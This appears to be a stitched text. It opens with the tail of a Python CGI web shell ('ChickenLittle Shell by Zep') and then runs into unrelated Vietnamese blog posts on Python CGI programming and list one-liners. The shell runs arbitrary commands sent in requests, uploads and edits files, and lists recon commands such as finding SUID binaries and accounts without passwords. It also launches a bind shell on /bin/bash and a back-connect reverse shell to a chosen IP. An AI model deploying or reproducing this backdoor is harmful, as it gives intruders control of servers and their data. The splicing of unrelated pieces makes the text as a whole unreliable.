                        <option value="uname -a">Kernel version</option>
                        <option value="w">Logged in users</option>
                        <option value="lastlog">Last to connect</option>
                        <option value="find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null">Suid bins</option>
                        <option value="cut -d: -f1,2,3 /etc/passwd | grep ::">USER WITHOUT PASSWORD!</option>
                        <option value="find /etc/ -type f -perm -o+w 2> /dev/null">Write in /etc/?</option>
                        <option value="which wget curl w3m lynx">Downloaders?</option>
                        <option value="cat /proc/version /proc/cpuinfo">CPUINFO</option>
                        <option value="netstat -atup | grep IST">Open ports</option>
                        <option value="locate gcc">gcc installed?</option>
                    </select>
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="submit" value="Go" />
                </form>
            </td>
        </tr>
    </table>    
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Create Dir ::</b><br />
                <form action="?" method="POST">
                    <input type="text" value="$cur_dir" size="50" name="new_dir">&nbsp;<input type="submit" value="Create">
                    <input type="hidden" value="mkdir" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center">
                <b>:: Upload File ::</b><br />
                <form action="?" method="POST" enctype="multipart/form-data">
                    <input type="file" name="file">&nbsp;<input type="submit" value="Upload">
                    <input type="hidden" value="upload" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Search Text in Files ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Text: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="search_text" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Directory: </td>
                            <td style="border:none"><input type="text" value="$cur_dir" size="30" name="search_dir" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Include File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="include_pattern" /></td>
                        </tr>
                        <tr>
                             <td width="50%" style="border:none;text-align:right">Exclude File Pattern: </td>
                            <td style="border:none"><input type="text" value="" size="30" name="exclude_pattern" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Search">
                    <input type="hidden" value="search_text" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center;vertical-align:top">
                <b>:: Edit File ::</b><br />
                <form action="?" method="POST">
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir" />
                    <input type="hidden" value="edit_file" size="50" name="command">
                    <input type="text" value="$cur_dir" size="50" name="file_name">
                    &nbsp;<input type="submit" value="Edit">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>    
            <td style="text-align:center" width="50%">
                <b>:: Bind port to /bin/bash ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Password: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="password" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Bind">
                    <input type="hidden" value="bind_port" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
            <td style="text-align:center" width="50%">
                <b>:: back-connect ::</b><br />
                <form action="?" method="POST">
                    <table width="100%">
                        <tr>
                            <td width="50%" style="border:none;text-align:right">IP: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="ip" /></td>
                        </tr>
                        <tr>
                            <td style="border:none;text-align:right">Port: </td>
                            <td style="border:none"><input type="text" value="" size="10" name="port" /></td>
                        </tr>
                    </table>
                    <input type="submit" value="Connect">
                    <input type="hidden" value="back_connect" size="50" name="command" />
                    <input type="hidden" value="$cur_dir" size="50" name="cur_dir">
                </form>
            </td>
        </tr>
    </table>
    <p />
    <table width="100%">
        <tr>
            <td style="text-align:center"><b>(.)(.) [ChickenLittle Shell by Zep] (.)(.)</b></td>
        </tr>
    </table>
</body>
</html>
""")

scriptname = ""

if os.environ.has_key("SCRIPT_NAME"):
    scriptname = os.environ["SCRIPT_NAME"]

def get_environ_table():
    s = "<table style=\"display:none\" id=\"environ_table\">"
    for k in os.environ:
        s+="<tr><td>%s</td><td>%s</td></tr>"%(k,os.environ[k])
    s+="</table>"
    return s

def run_command(command):
    p = subprocess.Popen(command, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, close_fds=True)
    (i,o) = p.stdin,p.stdout
    return o.read()

def get_param(form, param,default=None):
    if form.has_key(param):
        return form.getvalue(param)
    return default

def can_write(file_name):
    try:
        f = open(file_name,"w")
        f.close()
        return True
    except:
        return False

def put_script(base_name,encoded_script):
    script = base64.b64decode(encoded_script)
    i = 0
    file_name = "/tmp/"+base_name + str(i)  
    while not can_write(file_name):
        i+=1
        file_name = "/tmp/"+base_name + str(i)  
    
    f = open(file_name,"w")
    f.write(script)
    f.close()
    return file_name

def main():

    print "Content-type: text/html"         # header
    print                                   # blank line

    form = cgi.FieldStorage()
    uname = run_command("uname -a")
    uid = run_command("id")

    cur_dir = get_param(form, "cur_dir",os.getcwd())

    if not os.path.exists(cur_dir):
        cur_dir = os.getcwd()
    os.chdir(cur_dir)
    command = get_param(form,"command")
    command_result = ""

    file_content = ""
    file_name = ""
    edit_file_box_visibility = "None"

    if command == "mkdir":
        new_dir = get_param(form,"new_dir")
        command_result = run_command("mkdir " + new_dir)	
    elif command == "upload":
        upload_file = form["file"]
        try:
            f  = open(upload_file.filename,"w")
            while True:
                chunk = upload_file.file.read(1024)
                if not chunk: break
                f.write(chunk)
            f.close()
        except Exception,e:
            command_result = str(e)

    elif command == "search_text":
        search_text = get_param(form,"search_text","")
        search_dir = get_param(form,"search_dir",".")
        include_pattern = get_param(form,"include_pattern")
        exclude_pattern = get_param(form,"exclude_pattern")
        cmd = "grep -ir \"%s\" %s " % (search_text,search_dir)
        if include_pattern:
            cmd += "--include=%s " % include_pattern
        if exclude_pattern:
            cmd += "--include=%s " % exclude_pattern
        command_result = run_command(cmd)

    elif command == "edit_file":
        file_name = get_param(form,"file_name")
        try:
            f = open(file_name,"r")
            file_content = f.read()
            f.close()
            edit_file_box_visibility = ""            
        except:
            command_result = "Cannot open file"
            file_content = ""
            edit_file_box_visibility = "None"

    elif command == "save_file":
        file_name = get_param(form,"file_name")
        file_content = get_param(form,"file_content")
        try:
            f = open(file_name,"w")
            f.write(file_content)
            f.close()
            command_result = "Successful"
        except:
            command_result = "Cannot write to file"
                
    elif command == "bind_port":
        port = get_param(form,"port")
        password = get_param(form,"password")
        file_name = put_script("bp",bind_port)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,port,password)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command == "back_connect":
        port = get_param(form,"port")
        ip = get_param(form,"ip")
        file_name = put_script("bc",back_connect)
        pid = subprocess.Popen(["python %s %s %s" % (file_name,ip,port)],shell=True).pid
        command_result = "Process ID : %d " % pid

    elif command != None:
        command_result = run_command(command)

    list_files = run_command("ls -alh " + cur_dir)

    print html.substitute(environ_table=get_environ_table(),
                          uname = uname,
                          uid = uid,
                          list_files = list_files,
                          cur_dir = cur_dir,
                          command_result = command_result,
                          file_content = file_content,
                          file_name    = file_name,
                          edit_file_box_visibility = edit_file_box_visibility
                            )

if __name__ == '__main__':
    main()

Lập trình web với Python (4)

written by Nguyễn Thành Nam, on Mar 10, 2010 12:46:00 PM.

Trong kỳ này, chúng ta sẽ xem xét một chương trình CGI có xử lý dữ liệu nhập.

Ở kỳ trước, chúng ta đã biết cấu trúc chung của một chương trình CGI. Chương trình CGI mà chúng ta dùng làm ví dụ không thật sự hữu dụng vì chúng chỉ xuất giá trị ngẫu nhiên.

Một chương trình CGI hữu dụng thường sẽ nhận dữ liệu nhập qua các mẫu đơn (form), xử lý các dữ liệu này, và trả về kết quả.

Các dữ liệu nhập được truyền đến ứng dụng web ở dạng bộ 2 (khóa, giá trị) (key-value pair). Ví dụ nếu chúng ta điền vào một mẫu đơn có trường nhập tên là name và giá trị của nó là Nguyễn Việt Nam thì khóa sẽ là name và giá trị là Nguyễn Việt Nam. Thông thường có hai phương thức truyền dữ liệu đến ứng dụng web là GET và POST.

Trong phương thức GET, các bộ 2 (khóa, giá trị) này sẽ được truyền qua URL. Với ví dụ ở trên, URL sẽ có dạng http://host/path?name=Nguyễn+Việt+Nam. Bạn đọc sẽ chú ý các điểm quan trọng sau:

  1. Đi ngay phía sau đường dẫn đến ứng dụng CGI là một dấu chấm hỏi (?). Ký tự này dùng để thông báo phần phía sau là dữ liệu nhập.
  2. Phân cách giữa khóa và giá trị của dữ liệu nhập là dấu bằng (=).
  3. Khóa và giá trị được chuyển mã theo dạng phù hợp. Chúng ta thấy rằng ký tự khoảng trắng được chuyển thành ký tự cộng (+). Việc chuyển mã này nhằm làm cho URL không chứa các ký tự đặc biệt có thể gây nhầm lẫn.
  4. Không được nêu rõ trong ví dụ là ký tự phân cách các bộ 2 (khóa, giá trị) là ký tự và (&).

Trong phương thức POST, các bộ 2 (khóa, giá trị) được truyền trong nội dung yêu cầu HTTP, và không hiện rõ cho người dùng.

Hãy thử nghiệm với chương trình ví dụ sau (đặt tên nó là fp.py):

#!c:/python26/python

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
	</body>
</html>
"""

Kết quả mà chúng ta nhận được là một mẫu đơn như hình:

/static/web-programming/cgi/form1.png

Một số điểm quan trọng trong chương trình này là sự sử dụng các thẻ liên quan đến mẫu đơn.

  1. Trước hết là thẻ form dùng để thông báo sự bắt đầu của một mẫu đơn. Các thuộc tính (attribute) thông thường của thẻ này gồm methodaction.
  2. Thuộc tính method xác định phương thức truyền dữ liệu. Chúng ta có thể sử dụng GET hoặc POST.
  3. Thuộc tính action xác định đường dẫn đến chương trình CGI sẽ xử lý mẫu đơn này. Nếu không xác định thì chính địa chỉ hiện tại sẽ được dùng.
  4. Thẻ input xác định một trường nhập. Thẻ này có các thuộc tính chính là type, name, và value.
  5. Thuộc tính type xác định kiểu nhập là một ô nhập (text box), một nút nhấn (button), một nút chọn (radio button), hoặc một tập tin (file). Ở ví dụ này chúng ta xác định một ô nhập với kiểu text.
  6. Thuộc tính name xác định khóa của bộ 2. Trong ví dụ này khóa nhập là number.
  7. Thuộc tính value xác định giá trị khởi đầu của trường nhập này. Chúng ta để trống.
  8. Thẻ input với thuộc tính typesubmit sẽ tạo một nút nhấn. Nút nhấn này đặc biệt vì nó sẽ gửi các giá trị chúng ta nhập vào mẫu đơn đến chương trình CGI.

Thông tin chi tiết về các thẻ HTML có thể được xem thêm từ các tài liệu từ W3C.

Chương trình này cũng chỉ là in ra một mẫu đơn nhưng chúng ta đã có thể nhấn nút để gửi mẫu đơn đó đi.

Chúng ta sẽ sửa nó để in lại những gì đã nhận từ trình duyệt.

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % form.getfirst('number')

print """</body>
</html>
"""

Điều đầu tiên chúng ta nhận ra là sự sử dụng mô-đun cgi. Mô-đun này cho phép chúng ta tạo một đối tượng FieldStorage. Đối tượng FieldStorage chứa các bộ 2 (khóa, giá trị) chúng ta nhận được từ trình duyệt trong một cấu trúc như kiểu từ điển. Do đó chúng ta có thể dùng phương thức has_key để kiểm tra sự tồn tại của khóa tương ứng. Để lấy giá trị từ FieldStorage ta có thể dùng form[’number’].value hoặc gọi các hàm như getvalue, getfirst, hay getlist. Các hàm này được đề cập đến một cách chi tiết trong bộ tài liệu sử dụng Python.

Nếu tinh ý, chúng ta sẽ thấy rằng khi dữ liệu nhập chứa các thẻ HTML hợp lệ thì kết quả xuất ra sẽ hiển thị cả những thẻ HTML này. Ví dụ khi ta nhập Nguyễn <b>Việt</b> Nam.

/static/web-programming/cgi/form2.png

Điều này có thể là đúng theo ý định, hoặc cũng thể nằm ngoài mong muốn. Chúng ta gọi đây là các lỗi kịch bản chéo trang (Cross Site Scripting, XSS). Cách khắc phục là trước khi hiển thị các chuỗi không nằm trong kiểm soát của chương trình (ví dụ như dữ liệu nhập, dữ liệu xuất từ hệ thống khác, v.v…), chúng ta sẽ cần chuyển mã các ký tự đặc biệt. Mô-đun cgi cung cấp hàm escape để làm việc này. Mã nguồn mới sẽ gói getfirst trong cgi.escape như sau:

#!c:/python26/python

import cgi

print "Content-Type: text/html"
print

print """<html>
	<head>
		<title>CGI form processing</title>
	</head>
	<body>
		<fieldset>
			<legend>Number guessing game</legend>
			<form method="POST">
				<label for="number">Enter a number</label>
				<input type="text" name="number" value="" />
				<input type="submit" />
			</form>
		</fieldset>
"""

form = cgi.FieldStorage()
if form.has_key('number'):
	print """You have entered: %s""" % cgi.escape( \
			form.getfirst('number'), True)

print """</body>
</html>
"""

Giờ đây, chuỗi được xuất ra sẽ giống hệt với chuỗi nhập.

/static/web-programming/cgi/form3.png

Chúng ta cũng có thể thử với phương thức GET bằng cách nhập thẳng URL http://localhost/cgi-bin/fp.py?number=Nguyễn+<b>Việt</b>+Nam. Chúng ta cũng sẽ nhận được kết quả tương tự.

Vậy là qua hai phần chúng ta đã tìm hiểu về cách hoạt động của một chương trình CGI. Điểm mạnh của giao thức CGI là tính đơn giản và an toàn cao vì mỗi yêu cầu được một tiến trình riêng xử lý. Cũng chính vì mô hình đơn giản như vậy nên CGI gặp phải nhiều cản trở trong việc phát triển. Cản trở đầu tiên là chương trình CGI phải tự xử lý trạng thái giữa các yêu cầu kế tiếp nhau, hay còn gọi là phiên làm việc (session). Cản trở thứ hai là chương trình CGI sẽ phải được thiết kế đặc biệt nếu muốn sử dụng các biến có phạm vi toàn ứng dụng (application scope). Cuối cùng, chương trình CGI chạy chậm hơn và tốn tài nguyên hơn vì mỗi yêu cầu phải được xử lý riêng.

Trong các phần tới, chúng ta sẽ xem qua cách hoạt động của những công nghệ tiên tiến, giải quyết được các điểm yếu của giao thức CGI.

Lập trình web với Python (3)

written by Nguyễn Thành Nam, on Jan 28, 2010 4:52:25 PM.

Sau khi đã cài đặt máy chủ web, và Python ở hai bài trước, trong bài này chúng ta sẽ bước vào thế giới lập trình web với mô hình đơn giản nhất, mô hình CGI.

CGI là viết tắt của Common Gateway Interface, dịch chính xác là giao tiếp cổng chung. Giao thức này được sinh ra để chuẩn hóa (hay xác định rõ) cách thức một máy chủ web giao phó việc tạo trang web cho các ứng dụng console (các ứng dụng nhận dữ liệu từ bộ nhập chuẩn và xuất ra bộ xuất chuẩn). Các ứng dụng này được gọi là các ứng dụng CGI, hay kịch bản CGI vì chúng thường được viết bằng ngôn ngữ kịch bản, mặc dù chúng cũng có thể được viết bằng các ngôn ngữ khác như C, Java.

Mô hình hoạt động

Thông thường, một máy chủ web nhận yêu cầu từ máy khách và tìm kiếm trên hệ thống xem có tập tin mà máy khách cần truy xuất hay không. Nếu có thì máy chủ web sẽ xuất nội dung của tập tin này cho máy khách.

Trong giao thức CGI, máy chủ web nhận yêu cầu từ máy khách, tìm kiếm trên hệ thống xem có ứng dụng CGI đó không. Nếu có thì máy chủ web sẽ thực thi ứng dụng CGI, chuyển toàn bộ yêu cầu đến ứng dụng thông qua các biến môi trường và bộ nhập chuẩn. Ứng dụng CGI sẽ xử lý yêu cầu rồi gửi trả thông tin cho máy chủ web qua bộ xuất chuẩn. Máy chủ web sẽ nhận thông tin từ bộ xuất chuẩn của ứng dụng CGI để xuất trả lại cho máy khách. Mô hình hoạt động của giao thức CGI được miêu tả trong hình sau.

/static/web-programming/cgi/cgi-model.png

Hello World

Để hiểu rõ hơn cách hoạt động, chúng ta sẽ tạo một tập tin helloworld.py trong thư mục C:\Program Files\Apache Software Foundation\Apache2.2\cgi-bin với nội dung như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print "Hello world."

Trước khi giải thích từng dòng lệnh, chúng ta sẽ xem xem kết quả đạt được là gì. Chúng ta sẽ dùng trình duyệt để vào trang http://localhost/cgi-bin/helloworld.py. Dĩ nhiên chúng ta cũng phải đảm bảo rằng máy chủ Apache đang chạy. Và đây là hình mà chúng ta nhận được.

/static/web-programming/cgi/helloworld.png

Các yếu tố chính của chương trình CGI

Như thế, chương trình CGI đầu tiên đã thực thi hoàn chỉnh. Hãy quay lại xem các yếu tố căn bản của một chương trình CGI viết bằng ngôn ngữ Python.

Dòng đầu tiên được gọi là dòng shebang với hai ký tự đặc biệt #!. Phần đi ngay sau hai ký tự này là đường dẫn tuyệt đối đến trình thông dịch Python trên hệ thống. Dòng này nói cho máy chủ web biết rằng tập tin này cần được đọc bởi trình thông dịch Python.

Dòng lệnh print thứ nhất cung cấp một đầu mục (header) cho máy chủ web. Đầu mục này là Content-Type với nội dung là text/html. Đây là đầu mục bắt buộc trong giao thức HTTP, do đó các ứng dụng CGI thông thường phải cung cấp đầu mục này.

Dòng lệnh in thứ hai (in ra một dòng trống) báo hiệu sự kết thúc của các đầu mục, và những gì theo sau sẽ là dữ liệu nội dung. Dòng lệnh này là bắt buộc.

Dòng lệnh in thứ ba xuất nội dung chính, là chuỗi Hello world..

Các dòng lệnh này là những yếu tố chính cấu tạo nên một chương trình CGI viết bằng ngôn ngữ Python. Điểm quan trọng nhất mà chúng ta cần lưu ý là việc xuất dữ liệu thông qua bộ xuất chuẩn (stdout), và định dạng của dữ liệu cần xuất (đầu mục, dòng trống, nội dung).

Thêm vào các thẻ HTML

Chương trình của chúng ta khá buồn tẻ vì chúng ta khai báo Content-Typetext/html nhưng chúng ta không dùng thẻ HTML. Chúng ta hãy sửa lại chương trình như sau:

#!c:/python26/python

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

Quay lại trình duyệt và làm tươi (F5, hay Ctrl-R), chúng ta sẽ thấy hình như sau:

/static/web-programming/cgi/hellohtml.png

Content-Type là quan trọng

Những gì chúng ta vừa thực hiện là thay đổi nội mà chúng ta xuất ra bộ xuất chuẩn.

Bây giờ, giữ cùng nội dung đấy, nhưng chúng ta thay đổi đầu mục Content-Type thành text/plain.

#!c:/python26/python

print "Content-Type: text/plain"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		<font size="+3">H</font>ello <font color="red">HTML</font>.
	</body>
</html>"""

Thử xem trang này với các trình duyệt chuẩn ví dụ Opera, hoặc Firefox thì chúng ta sẽ nhận được hình tương tự như sau:

/static/web-programming/cgi/hellohtmlplain.png

Thay vì xử lý những thẻ HTML một cách đặc biệt thì trình duyệt đã không làm như vậy. Và đây là cách làm đúng bởi vì chúng ta nói cho trình duyệt biết rằng nội dung của chúng là ở dạng văn bản thường (plaintext) thông qua đầu mục Content-Type như trên. Trình duyệt IE không tuân theo chuẩn HTTP một cách triệt để nên vẫn sẽ hiển thị nội dung của chúng ta dưới dạng một trang HTML.

Một ít dữ liệu động

Mục đích của chương trình CGI là xử lý và xuất dữ liệu nên sẽ là vô ích nếu chương trình CGI của chúng ta chỉ xuất các trang web tĩnh. Chúng ta sẽ sửa lại chương trình một chút như sau:

#!c:/python26/python

import random

actions = ("rocks", "rules", "kicks butt", "constricts camel")

print "Content-Type: text/html"
print ""
print """<html>
	<head>
		<title>Python!</title>
	</head>
	<body>
		Python %s.
	</body>
</html>""" % random.choice(actions)

Trong chương trình này, chúng ta sử dụng mô-đun random và hàm choice để chọn một hành động ngẫu nhiên. Khi làm tươi trình duyệt, chúng ta có thể gặp các hình tương tự như sau.

/static/web-programming/cgi/dynamic1.png

/static/web-programming/cgi/dynamic2.png

Tóm tắt

Trong kỳ này chúng ta đã được giới thiệu về mô hình hoạt động của giao thức CGI, các yếu tố quan trọng trong một chương trình CGI viết bằng ngôn ngữ Python, một ít kiến thức về giao thức HTTP, và sự đa dạng của thế giới trình duyệt web. Ở kỳ sau chúng ta sẽ tìm hiểu cách nhận dữ liệu từ máy khách qua URL và mẫu đơn (form).

Python One-Liner

written by Phạm Thị Minh Hoài, on Jan 22, 2010 11:30:00 PM.

Python One-Liner là trường phái viết Python trên một dòng. Theo đó mỗi một hành động xác định được viết bởi các lệnh cô đọng gom lại trên một dòng duy nhất. Hành động xác định không phải là những hành động quá phức tạp, nhưng cũng không quá đơn giản. Ví dụ việc trao đổi giá trị giữa hai biến có thể coi là một hành động xác định như vậy. Python cho phép thực hiện điều này trên một dòng với một lệnh duy nhất, và với tôi đó là một trong những lệnh Python đẹp nhất:

>>> a, b = b, a

Python One-Liners cũng chính là tập hợp các mẹo (trick) Python nhằm giải quyết các bài toán nhỏ một cách ngắn gọn theo phương châm “do a lot with a little.”. Điều này thường khó thực hiện ở các ngôn ngữ khác. Nhưng chúng có thể thực hiện được trong Python do đặc trưng ngôn ngữ hỗ trợ cách viết như vậy. Chẳng hạn cách dùng hàm lambda, List Comprehensions, map, filter, zip, dict, set, … đã xây dựng những đặc trưng ngôn ngữ cho phép viết các mã ngắn gọn hơn các ngôn ngữ khác.

Trong bài viết này tôi sẽ tổng hợp một số các bài toán đơn giản mà triển khai Python có thể được viết trên một dòng. Chúng là các bài toán cơ bản có liên quan đến list. Tôi hi vọng những bạn chưa biết về các công thức trong bài này sẽ tìm thấy nhiều điểm lý thú, và qua đó càng hiểu được sức mạnh và sự hấp dẫn tuyệt vời của Python. Các công thức này một số được tôi thường xuyên sử dụng, một số được sưu tầm và các bạn có thể tìm thấy ở đâu đó trên internet.

1. Làm phẳng một list

Cho một list dạng hai chiều như sau: L = \[[1,2,3],[4,5,6], [7], [8,9]\] hãy biến nó thành dạng một chiều dạng [1, 2, 3, 4, 5, 6, 7, 8, 9]. Đây là một số lời giải một dòng của bài toán này:

>>> L = [[1,2,3],[4,5,6], [7], [8,9]]
>>> sum(L, [])
>>> reduce(lambda x, y: x + y, L)
>>> list(itertools.chain(L))  #import itertools.
>>> [item for sublist in L for item in sublist]

Python cung cấp cho bạn một tập hợp phong phú các cú pháp và hàm dựng sẵn cho phép bạn giải cùng một bài toán theo nhiều cách khác nhau. Trong các lời giải trên lời giải cuối cùng là nhanh nhất và nó cũng dễ hiểu nhất. Chi tiết các lời giải trên các bạn có thể xem trên trang: Making a flat list out of list of lists in python. Hàm reduce đã bị loại bỏ kể từ Python 3000 (Suggested by Guido van Rossum), tuy nhiên vẫn được giữa lại trong thư viện functools, do vậy bạn có thể dùng:

>>> functools.reduce(lambda x, y: x + y, L)

Nếu list L không phải là hai chiều, mà có thể chứa các list con đệ quy, bạn có thể dùng hàm sau:

def flatten(seq, a = list()):
    try:                          
        for item in seq:          
            flatten(item, a)      
    except TypeError:             
        a.append(seq)             
    return a

print flatten([[1,2, [3,4], 5], 6, [7, [8, 9]]])

2. Loại bỏ các phần tử trùng nhau trong list

Hãy tạo ra một list mới chứa các phần tử không trùng nhau của L. Một số cách giải trên một dòng:

>>> L = dict.fromkeys(L).keys()  # Python 3.x trả về iterator
>>> L = list(set(L))
>>> [x for i, x in enumerate(L) if i==L.index(x)]

Với L = [5,6,1,1,1,2,2,2,3,3,3] hai lời giải trên cho kết quả [1, 2, 3, 5, 6]. Lời giải cuối cùng cho kết quả [5, 6, 1, 2, 3]. Như vậy trong một số tình huống lời giải cuối cùng tốt hơn, do nó vẫn giữa được thứ tự các phần tử như ban đầu. Tuy vậy lời giải cuối cùng chạy rất chậm. Hãy xem kết quả đo thời gian chạy của các lời giải như sau:

>>> from timeit import Timer
>>> Timer("list(set(L))", "L = range(10**4)").timeit(10)
0.030437396173560671
>>> Timer("dict.fromkeys(L).keys()", "L = range(10**4)").timeit(10)
0.027800167602894277
>>> Timer("[x for i, x in enumerate(L) if i==L.index(x)]", "L = range(10**4)").timeit(10)
25.005568798618903

Việc so sánh thời gian chạy giữa các Python One-Liner rất hay được các tác giả thực hiện. Chúng đánh giá khả năng sử dụng thực tế của mỗi công thức. Lời giải cuối cùng như các bạn thấy dù có ưu điểm song không thể dùng được khi có test xấu trên 10000 phần tử.

3. Đếm số phần tử có trong một list

Nếu chỉ đếm một phần tử thì quá đơn giản, dùng list.count là xong, nhưng nếu để đếm tần số cho nhiều item một lúc thì làm thế nào. Chẳng hạn có L = [5,6,1,1,1,2,2,2,3,3] muốn tạo ra D={5:1, 6:1, 1:3, 2:3, 3:2}.

>>> dict([(x, L.count(x)) for x in set(L)])
>>> {x: L.count(x) for x in set(L)} # dict comprehensions, có từ Python 3.x
>>> collections.Counter(L) # import collections, có từ Python 3.x

Lời giải số một tuy dài nhưng có thể chạy trên hầu hết các bản Python > 2.4. Lời giải số hai chẳng qua là từ 1 ra nhưng với cú pháp mới của Python 3.x nó dễ hiểu và đơn giản hơn. Lời giải cuối cùng đơn giản đến mức bạn chỉ cần có import collections. Module collections chứa các phương tiện cho phép bạn viết các mã Python ngắn gọn, và chạy rất nhanh. Một ví dụ khác về cách dùng Counter trong module collections, đoạn mã này cho phép đếm tần số xuất hiện của các ký tự trong một string:

>>> collections.Counter("abcabca")
Counter({'a': 3, 'c': 2, 'b': 2})

Càng về sau này các phiên bản Python càng hỗ trợ nhiều hơn các cú pháp và thư viện cho phép bạn viết các mã ngắn gọn hơn. Đây là đặc trưng của Python: “Viết ít hơn làm nhiều hơn”. Việc gia tăng hiểu biết của bạn về các thư viện là một kinh nghiệm quan trọng.

4. Chia một list thành nhiều list

Bài toán chia một list thành nhiều list có thể gặp hai yêu cầu:

  1. Chia list thành nhiều list có độ dài bằng nhau
  2. Chia list thành n list con có độ dài tương đương nhau (với khác biệt kích thước nhỏ nhất).

Vấn đề số một có thể giải quyết bằng các hàm sau:

>>> SplitInto=lambda a,n: [a[i*n:(i+1)*n] \
... for i in range(len(a) % n and len(a)/n + 1 or len(a)/n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]

>>> SplitInto = lambda L, n: zip(*[chain(L, repeat(None, n-1))]*n)
>>> SplitInto(range(10), 3)
<zip object at 0x01D607D8>
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]

>>> SplitInto = lambda L, n: zip_longest(*[iter(L)]*n)
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, None, None)]
>>> SplitInto = lambda L, n: zip_longest(*[iter(L)]*n, fillvalue=-1)
>>> list(SplitInto(range(10), 3))
[(0, 1, 2), (3, 4, 5), (6, 7, 8), (9, -1, -1)]

>>> SplitInto= lambda L, n: [L[i:i+n] for i in range(0, len(L), n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9]]

Lời giải số 1, 4 dùng cho các phiên bản Python từ 2.3 trở đi. Hai lời giải 2, 3 sau đòi hỏi phải có lệnh from itertools import * và chỉ chạy từ Python 3.x trở đi. Chi tiết về các lời giải này các bạn có thể xem thêm: How do you split a list into evenly sized chunks in Python?

Vấn đề số 2 có thể có lời giải sau:

>>> SplitInto = lambda L, n: [L[i::n] for i in range(n)]
>>> SplitInto(range(10), 3) # SplitInto(list(range(10)), 3) với Python 3.x
[[0, 3, 6, 9], [1, 4, 7], [2, 5, 8]]

Lời giải trên là đơn giản đến mức …không cần tìm thêm các lời giải khác làm gì cho mệt. Tuy nhiên nó không chia theo đúng thứ tự. Đây là cách khác phức tạp hơn nhưng giữa nguyên được thứ tự các phần tử:

>>> SplitInto = lambda L, n: [L[int(i*1.0*len(L)/n):int((i+1)*1.0*len(L)/n)] \
... for i in range(n)]
>>> SplitInto(range(10), 3)
[[0, 1, 2], [3, 4, 5], [6, 7, 8, 9]]
>>> SplitInto(range(10), 2)
[[0, 1, 2, 3, 4], [5, 6, 7, 8, 9]]
>>> SplitInto(range(10), 4)
[[0, 1], [2, 3, 4], [5, 6], [7, 8, 9]]

Cách viết này khá dài, nhưng giữa nguyên được thứ tự giữa các phần tử. Các dòng dài chính là đặc trưng của Python One-liner.

5. Kiểm tra một list là tập con của list khác

Cho hai list a, b. kiểm tra xem a có chứa b hay không. Danh sách a chứa danh sách b nếu tất cả các phần tử của b đều có trong a. Cách giải sau đã có lần tôi trình bày, dùng thư viện operator và hàm built-in reduce, có thể dùng với mọi phiên bản Python 2.x:

>>> a = [1,2,3,4,5]
>>> b = [2,3,6]
>>> c = [2,3,4]
>>> reduce(operator.and_, map(a.__contains__, b))
False
>>> reduce(operator.and_, map(a.__contains__, c))
True

Từ Python 2.4 bạn có thể sử dụng set:

>>> set(a+b) == set(a)
False
>>> set(a+c) == set(a)
True
>>> set(c).issubset(a)
True
>>> set(b).issubset(a)
False
>>> set(c) <= set(a)
True
>>> set(b) <= set(a)
False

Từ Python 2.5 bạn có thể viết:

>>> all([x in a for x in b])
False
>>> all([x in a for x in c])
True

